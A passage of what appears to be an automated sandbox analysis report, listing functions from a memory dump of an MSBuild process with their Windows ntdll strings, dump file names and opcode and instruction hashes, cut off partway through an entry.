Opcode Fuzzy Hash: 2d3eb5a5f0d0b71a0ee6b884929cb1f5584730ad8eb0a1514b7960090340c2d0
Instruction Fuzzy Hash: 70416472E01209EBEF11DFD9C881FEEBBB8BB14704F14406BE605A7250E7B49A458B50

Function 01424144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpResValidateFilePath Exit, xrefs: 01424172
@, xrefs: 01424225
LdrpResValidateFilePath Enter, xrefs: 01424160

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: ad6194c207e695a936b95193a8b6ba53a75db9d9f933561d50be865d812684d1
Instruction ID: b81d0876172f035c278128de2fc81017ffaecd97dac985386f023d62092e7388
Opcode Fuzzy Hash: ad6194c207e695a936b95193a8b6ba53a75db9d9f933561d50be865d812684d1
Instruction Fuzzy Hash: 73415831A04368CBEB26DBD9C844BAEBBB4FF56344F68045BD901EB3A1D7748941CB60

Function 01414755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpCheckRedirection, xrefs: 0141488F
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 01414888
minkernel\ntdll\ldrredirect.c, xrefs: 01414899

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: b9b48c0561cad4bd2a29e3d5ae42de8aae195f1cfefe7e8e4ae2fd3668cb5a90
Instruction ID: 44fc32c90af61387e67352f4f9a46cf85e3c8df8252d8ffc23a2ff960bb44492
Opcode Fuzzy Hash: b9b48c0561cad4bd2a29e3d5ae42de8aae195f1cfefe7e8e4ae2fd3668cb5a90
Instruction Fuzzy Hash: 4D41D076A042518BCB22CE1DD840A2B7BE4AF89B50B0D056FED599B379D730D801CB81

Function 013A0BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 013F5431
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 013F5449
HEAP: , xrefs: 013F543E

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: ec96610e613ba0c7a2d2bfd80737de59c88353915b7389861c32ea5ff5f36297
Instruction ID: b2c7d13adc1a7d2c79aceb12950d57fc329640e96c4f6b3ab9655b7563526034
Opcode Fuzzy Hash: ec96610e613ba0c7a2d2bfd80737de59c88353915b7389861c32ea5ff5f36297
Instruction Fuzzy Hash: 0811DC313152069FDB2DDF18D440B6AB3A8EF40A1EF58816DF506DB665DB34E840C754

Function 014120DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 01412104
LdrpInitializationFailure, xrefs: 014120FA
Process initialization failed with status 0x%08lx, xrefs: 014120F3

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 364624658083185ffd29d703439a8915735625b0eee5d412a1bb2b87d6a6147c
Instruction ID: fd49f9bf6a056136906bd241058346e3ead4c0321ab890519e38f8fb49e88e08
Opcode Fuzzy Hash: 364624658083185ffd29d703439a8915735625b0eee5d412a1bb2b87d6a6147c
Instruction Fuzzy Hash: 9BF0A475640209BBE724EA5D9C42F9A7B68EB41B58F20045EFA00B7795D2F0A5418691

Function 013A03E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 013F4D8A

Strings

#%u, xrefs: 013F4D82

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: bdb469bd669df69de48260d812cbf77653de94eb5200d6b4399ff366f301c02d
Instruction ID: 2535683dba93c9dcfc92c83271e466a3d73e8bad8b975cf7614d90b57a8b549d
Opcode Fuzzy Hash: bdb469bd669df69de48260d812cbf77653de94eb5200d6b4399ff366f301c02d
Instruction Fuzzy Hash: 24714D71A0014A9FDB05DFA9D990FAEBBF8FF18708F144069EA05E7251E634ED41CBA0

Function 0139A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

LdrResSearchResource Enter, xrefs: 0139AA13
LdrResSearchResource Exit, xrefs: 0139AA25

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
API String ID: 0-4066393604
Opcode ID: aa2dc251bc6a26b90fa25dd6940e8aa2ef53ff23585fdd94c4f3eca454020e12
Instruction ID: 47b488a4c4cf425cd754be9c4a9942b718aeb8ef5319268391be3c0dfffaa2b4
Opcode Fuzzy Hash: aa2dc251bc6a26b90fa25dd6940e8aa2ef53ff23585fdd94c4f3eca454020e12
Instruction Fuzzy Hash: C9E16071E04219DBEF22DE9DC980BAEBBB9FF14318F14462AEA01E7251D774D940CB50

Function 0145A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 0145A551
`, xrefs: 0145A44B

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: d13590b802758b842d517196bb8beb7c96627a8503c9257ad0d0cb396ed57272
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: DDC1F4312043469BE765CF29C840B2BBBE5BFD4318F284B2EFA958B2A2D774D505CB51

Function 0140E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 0140E75A
UEFI, xrefs: 0140E751

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: e286606f7038dd5342889520fbe04c252d3100a9f8a199a1ff89b03ecb3e9239
Instruction ID: cdf9cb56af7a4a127f6f7f0186181a50c7a8dc4f98f0786741a2956179b9933b
Opcode Fuzzy Hash: e286606f7038dd5342889520fbe04c252d3100a9f8a199a1ff89b03ecb3e9239
Instruction Fuzzy Hash: 2B616072E002099FDB15DFA9C840BAEBBB9FB44704F14443EE649EB2A1D731E911CB50

Function 014343D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

@, xrefs: 01434437
MUI, xrefs: 01434525

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: @$MUI
API String ID: 0-17815947
Opcode ID: d1d27f96342ceb76c377954f69db6e296771c582dfb9e1f2b905f65be2d40000
Instruction ID: 3fb5bb57a998d1d217d41fa05b1d95eff9c170191b68ce9bdd7c593b5ee70bed
Opcode Fuzzy Hash: d1d27f96342ceb76c377954f69db6e296771c582dfb9e1f2b905f65be2d40000
Instruction Fuzzy Hash: 6B51F771E0021DAEEF11DFA9CC90AEFBBB9EB58758F14052AE611A7290D6349905CB60

Function 013904E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0139063D
kLsE, xrefs: 01390540

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: 78e0aa514fb94e588b4444e045b9206ca395ae3944e86d5896e109d44b11c861
Instruction ID: 6a619ffe6342e90945cee4480df3e86283a88d4709145e7222718cb523a3400d
Opcode Fuzzy Hash: 78e0aa514fb94e588b4444e045b9206ca395ae3944e86d5896e109d44b11c861
Instruction Fuzzy Hash: 76519171504746DBDB28DF68C5806A7BBE9EF84318F10883EFAA987241E770D545CB91

Function 0139A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 0139A309
RtlpResUltimateFallbackInfo Enter, xrefs: 0139A2FB

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 1735985ee6410ec8ebe97b7c7c494bc99a4092b6d8c3cda88dc9a2daef231b63
Instruction ID: c4628fb37362247b4da6d70ee4404aa13bb49f5f3c7a74188182e710100811ef
Opcode Fuzzy Hash: 1735985ee6410ec8ebe97b7c7c494bc99a4092b6d8c3cda88dc9a2daef231b63
Instruction Fuzzy Hash: FC419E31A04649DBEF15DF5DC880B6ABBB8FF84708F2441A9EE00DB695E3B5D940CB50

Function 013CA5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Threadpool!, xrefs: 013CA5E9
Cleanup Group, xrefs: 013CA5E4

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: dc5c617d9ff57670ec51c56d19f787185d4314e01957b231be1e63a21f63c898
Instruction ID: 31e63c006b967779e8439b305b805baa8233e41f2c72bb5f6ba9e3ed56c69ba8
Opcode Fuzzy Hash: dc5c617d9ff57670ec51c56d19f787185d4314e01957b231be1e63a21f63c898
Instruction Fuzzy Hash: 4F01D1B2250748AFD311DF14CD45B1A77E8E784B2DF01893DA658C7190E334D814CB46

Function 0139C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 0139C8C3, 0139CA40

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 62ef868889099992713e721ef9be6224ba49e5fa9931418aef0d524a00705232
Instruction ID: f17b98fb741bfa77230585573f201c447236071ab505f102c85e516c8c9415c5
Opcode Fuzzy Hash: 62ef868889099992713e721ef9be6224ba49e5fa9931418aef0d524a00705232
Instruction Fuzzy Hash: AD825975E002198BEF25CFADC880BEDBBB5BF48718F148169E959AB391DB309D41CB50

Function 01416420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 014165C1

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: baee12931e032d93a5a4fa84e7cec24cc2a54747f65149cebae36699f0f317c4
Instruction ID: 9744991e5bfe53d0d70c1e2fed39c4ad6cda91154807d834bdf9d188137a5444
Opcode Fuzzy Hash: baee12931e032d93a5a4fa84e7cec24cc2a54747f65149cebae36699f0f317c4
Instruction Fuzzy Hash: 32916072901219AFEB21DB99DC85FEEBBB8EF54754F110065F604AB2A4D774E900CB60

Function 0143E10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

, xrefs: 0143E1FA

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8b385b1aeb97b4da1ce5bc43e5d4ef6dde1e8c7ec4569b2961624267327c5254
Instruction ID: 7ac4abb1b70038466b5b95ac35dd7df8aa735850b09cebac85350474c3a89e23
Opcode Fuzzy Hash: 8b385b1aeb97b4da1ce5bc43e5d4ef6dde1e8c7ec4569b2961624267327c5254
Instruction Fuzzy Hash: 38918172902609BFDB22AFA9DC44FEFBB79EF89754F10001AF605A7260D7759902CB50

Function 013CA660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 014067C9

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: f95e3c24695b36c738e442ea6c612a4dd315446e0b844ebe553eb2428dccaf36
Instruction ID: 9c433b71ce49ed599424b76fecd8dd7b901a6a091b43ddce7e9539263f7a133b
Opcode Fuzzy Hash: f95e3c24695b36c738e442ea6c612a4dd315446e0b844ebe553eb2428dccaf36
Instruction Fuzzy Hash: BE718FB5E0121A8FDF29CF9EC5906AEBBB1BF48714F15813EE506A7390E7318911CB60

Function 01434978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

.mui, xrefs: 01434A7F

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: .mui
API String ID: 0-1199573805
Opcode ID: 11b5c2164c211b69365416ae346c6a03228a8c512b2b0a35cd0a88474a75bf4f
Instruction ID: ea7c6f9d384cc893b3436341654e749f55326115d086551b68f2fac7a4df9cd9
Opcode Fuzzy Hash: 11b5c2164c211b69365416ae346c6a03228a8c512b2b0a35cd0a88474a75bf4f
Instruction Fuzzy Hash: 4F519672D002299BDF14DF9DD840AEEBBB8AF48654F09416AE911BB360D7749D02CBE4

Function 013AE627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 013AE6A4

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: 062fd1c037de12745e5a93ec609e7b7c887435b6bda854c71b61417781cda782
Instruction ID: 08a7e2ecb6a2496ac3bd74b3a56d667ce84f5529037feaf38ee6363b6cd65044
Opcode Fuzzy Hash: 062fd1c037de12745e5a93ec609e7b7c887435b6bda854c71b61417781cda782
Instruction Fuzzy Hash: 69418072508302ABD710DA79C980B6BBBECEF8871CF840A3DF684D7140E675D908C792

Function 0140C730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 0140C77F

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: a628740baa215a3a33289030794e7652d1b8f3b8561187c32405bb57a45a5530
Instruction ID: abbacb9c1f285d2bb3e93f22ecc49f733f496ae3a030888e0c6bf03f0376c22d
Opcode Fuzzy Hash: a628740baa215a3a33289030794e7652d1b8f3b8561187c32405bb57a45a5530
Instruction Fuzzy Hash: 614167B2D0012DEBDB21DA55DC84FDEB77CAB54718F0045E6E608AB190DB709F498F98

Function 01426B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

#, xrefs: 01426B91

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: c5c9ab520354a4363ca080123e75639c6b9447f8a9ccbe34b2a75e878d8cc4c5
Instruction ID: 9562b699b7a76d611f8de2df8945ae53167c7a888796d087c1d1d0ce326e0f52
Opcode Fuzzy Hash: c5c9ab520354a4363ca080123e75639c6b9447f8a9ccbe34b2a75e878d8cc4c5
Instruction Fuzzy Hash: F8312C31A007699BDB32EF6EC850BEFBBA9DF04704F95402AED40AB2A1D775D845CB50

Function 0140CA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 0140CAA2

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: b4df7ffbcc29db44adde1819f230701dfba6cb958fdabb2850d1d4eccb88051a
Instruction ID: 22f63b7e6c296bd269e649ae141b3dde5b2c7f9a0f7cbd1588a5c8f1fa0a48b9
Opcode Fuzzy Hash: b4df7ffbcc29db44adde1819f230701dfba6cb958fdabb2850d1d4eccb88051a
Instruction Fuzzy Hash: 9331D636900915EFDB16DB5AD885E6FBB74EB80714F1142BAE905A72A0D7309D04DBD0

Function 0141892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 0141895E

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 332ff567195335356542a0f63a269f0ad29c168a98379d02283c459a71fd17d2
Instruction ID: 1be6bc75711fb7b5a63710190a383099081239084f78b6a1203d2d63b3d0f1ae
Opcode Fuzzy Hash: 332ff567195335356542a0f63a269f0ad29c168a98379d02283c459a71fd17d2
Instruction Fuzzy Hash: 9E012B323202039BE7306F5ADC84B6F7F66EF91668B04042FF6450A279CF306881CB92

Function 01432000 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4726947a9c33cf27ba3306ca8e7cc0ca9650f8417f09259007cd5b937b62acca
Instruction ID: 320b390640fd2aa50a4bcfe9f8ddfd474868c75e77df23ea6701ced4bb142ee3
Opcode Fuzzy Hash: 4726947a9c33cf27ba3306ca8e7cc0ca9650f8417f09259007cd5b937b62acca
Instruction Fuzzy Hash: EC42A0356083419BDB25CF68C890E6BBBE5BFD8704F08492EFA8697360D7B0D945CB52

Function 01428158 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae3a7d79a1464afe36aa8f79f41c48daa36a010130e6bc038abebf0ecdf6be9
Instruction ID: 46d90426804b5bb3770b991ac67cfedee34d0467092359e1bd8b63663ea979dc
Opcode Fuzzy Hash: cae3a7d79a1464afe36aa8f79f41c48daa36a010130e6bc038abebf0ecdf6be9
Instruction Fuzzy Hash: 8C425175E0022A8FEB24CF69C881BAEBBF5BF44304F54819AE949EB351D7349985CF50

Function 013A2840 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fd663175efaef0a30091640e33268b38514d10d82ad7caab3c6f9ead2604dc
Instruction ID: 76c74febbb30449f79854021a4bf85e59344c2cc3a3469acec38c65c34ce7bcb
Opcode Fuzzy Hash: 25fd663175efaef0a30091640e33268b38514d10d82ad7caab3c6f9ead2604dc
Instruction Fuzzy Hash: F03200B0A007598FEB24CF69C8457BEBBF6FF84708F14411DD68A9B685D735A806CB50

Function 0143A118 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a5153f944d0107d94204ecda6c130841e47b097d284675a61fbf293dbd6ac3e
Instruction ID: 1587f1a95e7e92b57b43634c7418869b9cd1e84ebd4245583dddcc3a2e2aa7cd
Opcode Fuzzy Hash: 8a5153f944d0107d94204ecda6c130841e47b097d284675a61fbf293dbd6ac3e
Instruction Fuzzy Hash: F622DE702846618BEB25CF2DC094376BBF1AF89304F28845BD9D6CB3A6D335E452DB61

Function 01396A50 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b304a36465f135c6c931c5e9174b8f94e11a23a86d712d344eb3d9572bb641d
Instruction ID: 887e88051fd33662ac420259daca391419ba29c36026bbad38ee73175f5df493
Opcode Fuzzy Hash: 1b304a36465f135c6c931c5e9174b8f94e11a23a86d712d344eb3d9572bb641d
Instruction Fuzzy Hash: 87328CB1A01209CFDF25CF69D480AAABBF5FF48308F14456EE95AAB751D734E841CB50

Function 013B4A35 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction ID: 4922e9b4f1fd8952b0f0f93874ce03efcf3e5f74528a70392bbe2008b7f02fb3
Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction Fuzzy Hash: FBF17E70E0021A9BDF15CF99C580BEEBBF5AF48718F04812DEA06AB746E774D941CB64

Function 0142892B Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 205a8ad049f3d46acd2f628a297cbbf3b3cc0a0a69381097f24efcb6ff73eaac
Instruction ID: f179952ad06752049ac36d546b70ea5d23f73bdd12f55b0254955a55ce6cd732
Opcode Fuzzy Hash: 205a8ad049f3d46acd2f628a297cbbf3b3cc0a0a69381097f24efcb6ff73eaac
Instruction Fuzzy Hash: 93D11271E0062A8BDF05CF59C840AFFBBF1BF88304F98816AD955A7251DB35E946CB60

Function 013965D0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5751581ba040e6ed96bf8e136485757672a69766f8d8e5fd793fea54729b10
Instruction ID: 12a4002677a323dd3c252b26bd84878b85b2469f50c51641be7adb793c5f5a0a
Opcode Fuzzy Hash: 2d5751581ba040e6ed96bf8e136485757672a69766f8d8e5fd793fea54729b10
Instruction Fuzzy Hash: 86E190B1509346CFCB15CF28C490A6ABBE4FF89318F05896DF99987351EB31E905CB92

Function 01388397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4741df7ce6d601125f5ed91fe6ed8e91f0947cb38bcafc637d8915c2d7c20eae
Instruction ID: 35095f2618dd18382cb16d009d0b3f2d9bf8209d2472973db5dc63a0dc19a1cf
Opcode Fuzzy Hash: 4741df7ce6d601125f5ed91fe6ed8e91f0947cb38bcafc637d8915c2d7c20eae
Instruction Fuzzy Hash: 66D1DF72A0031ADBDB15EF68C880ABAB7F5BF5431CF444669EA16DB2C0E734E951CB50

Function 01418243 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction ID: 88550fd355b0d887ecc3d8bdd59882ab0ec43991832a95ba687110eff0f4ef95
Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction Fuzzy Hash: E1B1A775A006069FDF25DF59C940EEBBBB9FF94304F14442EAA02977A8DB34E905CB10

Function 013A0535 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction ID: 7a62ade0298bb26fca691a021162d701244b4f576d6d23bd5515c1cdd86aee54
Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction Fuzzy Hash: 3FB1F631604646EFDB29DBA8C850BBFBBFAEF44308F540159E69697291DB30ED41CB90

Function 013983C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

